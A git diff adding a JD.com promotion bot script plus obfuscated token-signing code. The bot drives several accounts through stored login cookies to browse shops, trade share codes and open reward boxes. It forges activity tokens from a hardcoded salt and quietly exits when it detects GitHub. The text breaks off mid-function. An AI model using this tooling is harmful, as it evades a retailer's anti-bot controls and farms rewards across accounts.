Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhz.js b/jd_cjhz.js new file mode 100644 index 0000000..c4633ec --- /dev/null +++ b/jd_cjhz.js @@ -0,0 +1,402 @@ +/* +京东超级盒子 +更新时间:2022-1-9 +活动入口:京东APP-搜索-超级盒子 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盒子 +24 3,13 * * * https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, tag=京东超级盒子, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "24 3,13 * * *" script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js,tag=京东超级盒子 + +===============Surge================= +京东超级盒子 = type=cron,cronexp="24 3,13 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js + +============小火箭========= +京东超级盒子 = type=cron,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, cronexpr="24 3,13 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东超级盒子'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + secretp = '', + joyToken = ""; +$.shareCoseList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + console.log('活动入口:京东APP-搜索-超级盒子') + console.log('开箱目前结果为空气和红包,没发现豆子') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getToken(); + cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + console.log(`\n入口:app主页搜超级盒子\n`); + await main() + } + }; + $.shareCoseList = [...new Set([...$.shareCoseList,''])] + //去助力与开箱 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + if ($.shareCoseList.length >= 2) { + for (let y = 0; y < $.shareCoseList.length; y++) { + console.log(`京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y]}`) + await helpShare({ "taskId": $.helpId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.shareCoseList[y] }); + await $.wait(1000); + } + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + //开箱 + console.log(`京东账号${$.index}去开箱`) + for (let y = 0; y < $.lotteryNumber; y++) { + console.log(`可以开箱${$.lotteryNumber}次 ==>>第${y+1}次开箱`) + await openBox({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }); + await $.wait(1000); + } + } + } +})() +.catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function main() { + await superboxSupBoxHomePage({ "taskId": "", "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }) + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}互助码:${$.encryptPin}`) + await $.wait(1000); + await apTaskList({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.encryptPin }); + if ($.allList) { + for (let i = 0; i < $.allList.length; i++) { + $.oneTask = $.allList[i]; + if (["SHARE_INVITE"].includes($.oneTask.taskType)) { + $.helpId = $.oneTask.id; + $.helpLimit = $.oneTask.taskLimitTimes; + }; + if (["BROWSE_SHOP"].includes($.oneTask.taskType) && $.oneTask.taskFinished === false) { + await apTaskDetail({ "taskId": $.oneTask.id, "taskType": $.oneTask.taskType, "channel": 4, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }); + await $.wait(1000) + for (let y = 0; y < ($.doList.status.finishNeed - $.doList.status.userFinishedTimes); y++) { + $.startList = $.doList.taskItemList[y]; + $.itemName = $.doList.taskItemList[y].itemName; + console.log(`去浏览${$.itemName}`) + await apDoTask({ "taskId": $.allList[i].id, "taskType": $.allList[i].taskType, "channel": 4, "itemId": $.startList.itemId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }) + await $.wait(1000) + } + } + } + } else { + console.log(`任务全部完成`) + } +} + +//活动主页 +function superboxSupBoxHomePage(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.encryptPin = data.data.encryptPin; + $.shareCoseList.push($.encryptPin) + $.lotteryNumber = data.data.lotteryNumber + } else { + console.log(`superboxSupBoxHomePage:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + + +//获取任务列表 +function apTaskList(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskList API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.allList = data.data + //console.log(JSON.stringify($.allList[1])); + } else { + console.log(`apTaskList错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//获取任务分表 +function apTaskDetail(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskDetail', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.doList = data.data + //console.log(JSON.stringify($.doList)); + } else { + console.log(`apTaskDetail错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function apDoTask(body) { + return new Promise((resolve) => { + $.post(taskPostUrl('apDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apDoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`浏览${$.itemName}完成\n已完成${data.data.userFinishedTimes}次\n`) + } else if (data.success === false && data.code === 2005) { + console.log(`${data.data.errMsg}${data.data.userFinishedTimes}次`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//助力 +function helpShare(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`助力成功\n\n`) + } else { + console.log(`助力失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//开盲盒 +function openBox(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxOrdinaryLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxOrdinaryLottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0 && data.data.rewardType === 2) { + console.log(`开箱成功获得${data.data.discount}元红包\n\n`) + } else if (data.success === true && data.code === 0 && data.data.rewardType !== 2) { + console.log(`开箱成功应该获得了空气${JSON.stringify(data.data)}\n\n`) + } else { + console.log(`失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getToken(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://bh.m.jd.com/gettoken`, + headers: { + 'Content-Type': `text/plain;charset=UTF-8` + }, + body: `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + console.log(`joyToken = ${data.joyytoken}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function taskGetUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + //body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0&uuid=ef746bc0663f7ca06cdd1fa724c15451900039cf`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function taskPostUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) })) } post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); + else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; + this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, 